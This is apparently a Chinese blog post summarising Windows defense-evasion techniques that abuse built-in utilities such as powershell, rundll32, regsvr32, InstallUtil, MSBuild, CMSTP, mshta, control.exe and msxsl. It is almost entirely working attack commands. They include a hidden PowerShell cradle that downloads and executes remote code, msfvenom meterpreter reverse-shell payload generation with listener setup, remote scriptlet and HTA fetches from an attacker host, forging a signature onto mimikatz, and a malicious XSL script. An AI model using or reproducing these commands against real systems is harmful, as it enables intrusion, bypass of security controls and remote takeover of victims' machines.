windows命令执行防御规避总结
2023-03-14 22:44:12 时间
powershell
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:8888/logo.gif'))"" /f
SIP
通过sip劫持对恶意代码签名获得系统信任https://github.com/secretsquirrel/SigThief
python sigthief.py -i consent.exe -t mimikatz.exe -o signed-mimikatz.exe
rundll32.exe
生成
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=4444 -f dll >xxx.dll
目标执行
rundll32.exe shell32.dll,Control_RunDLL xxx.dll
Regsvr32.exe
msfconsole
auxiliary/server/regsvr32_command_delivery_server
set CMD net user test 123456 /add
目标执行
regsvr32 /s /n /u /i:http://xx.xx.xx.xx:8080/aPxOb0o scrobj.dll
InstallUtil.exe
1.编译后门:
C:WindowsMicrosoft.NETFramework64v4.0.30319>csc.exe /r:System.EnterpriseServices.dll /unsafe /target:library /out:xxx.exe /keyfile:"C:Program Files (x86)Microsoft SDKsWindowsv10.0AinNETFX 4.8 Toolsx64key.snk" xxx.cs
2.靶机上运行:
InstallUtil.exe /U xxx.exe
3.msf监听,得到反弹的shell:
set payload windows/x64/meterpreter/reverse_tcp
set LHOST xx.xx.xx.xx
set LPORT 4444
exploit
Msbuild.exe
MSBuild是Microsoft Build Engine的缩写,代表Microsoft和Visual Studio的新的生成平台,MSBuild可编译特定格式的xml文件
https://github.com/3gstudent/msbuild-inline-task
msf生成shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=4444
-f csharp
使用shellcode替换 https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20x64%20shellcode.xml 中的shellcode部分
msf监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost xx.xx.xx.xx
set lport 4444
exploit
运行
C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe exec64.xml
CMSTP
cmstp.exe /s /ns C:UsersadministratorAppDataLocalTempXKNqbpzl.txt绕过AppLocker并启动恶意脚本
Mshta.exe
Mshta.exe 是一个执行 Microsoft HTML 应用程序 (HTA) 的实用程序,攻击者可以使用 mshta.exe 通过受信任的 Windows 实用程序代理执行恶意代码
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost xx.xx.xx.xx
msf exploit(windows/misc/hta_server) > exploit
mshta.exe http://xx.xx.xx.xx:8080/xxxxxxx.hta
控制面板
攻击者可以使用控制面板项作为有效载荷来执行任意命令,控制面板项是注册的可执行文件(.exe)或控制面板(.cpl)文件,可以直接从命令行执行或通过Control_RunDLL(API)调用或者直接双击文件。
攻击者构造恶意的dll文件CPIApplet.dll
利用msf生成dll文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=170.170.64.17 LPORT=4444 -f dll > /tmp/CPIApplet.dll
传入windows机器,然后重命名为CPIApplet.cpl,通过control.exe c:usersadministratordesktopCPIApplet.cpl 执行命令
通过msxsl.exe调用恶意xml文件执行脚本
制作两个文件
customers.xml
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="script.xsl" ?>
<customers>
<customer>
<name>Microsoft</name>
</customer>
</customers>
script.xsl
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /k calc.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>
开启http服务
python3 -m http.server 80
远程下载执行
msxsl.exe http://xx.xx.xx.xx/customers.xml http://xx.xx.xx.xx/scrip.xsl
相关文章
- 图像处理工具Python扩展库,你了解吗?
- 十个常用的损失函数解释以及Python代码实现
- 30 个数据科学工作中必备的 Python 包
- 如何在 Windows 上安装 Python
- 几行 Python 代码就可以提取数百个时间序列特征
- 使用Python快速搭建接口自动化测试脚本实战总结
- 哪种编程语言最适合开发网页抓取工具?
- 不要在 Python 中使用循环,这些方法其实更棒!
- 震惊!用Python探索《红楼梦》的人物关系!
- 如何最简单、通俗地理解Python模块?
- 酷炫,Python实现交通数据可视化!
- 为什么急于寻找Python的替代者?
- 30 个数据工程必备的Python 包
- 去字节面试被面这题能答上来吗?谈谈你对时间轮的理解?
- 火山引擎在行为分析场景下的 ClickHouse JOIN 优化
- 用Python爬取了某宝1166家月饼数据进行可视化分析,终于找到最好吃的月饼~
- 在 Linux 上试试这个基于 Python 的文件管理器
- Python列表解析式到底该怎么用?
- 如何快速把你的 Python 代码变为 API
- 十个Python初学者常犯的错误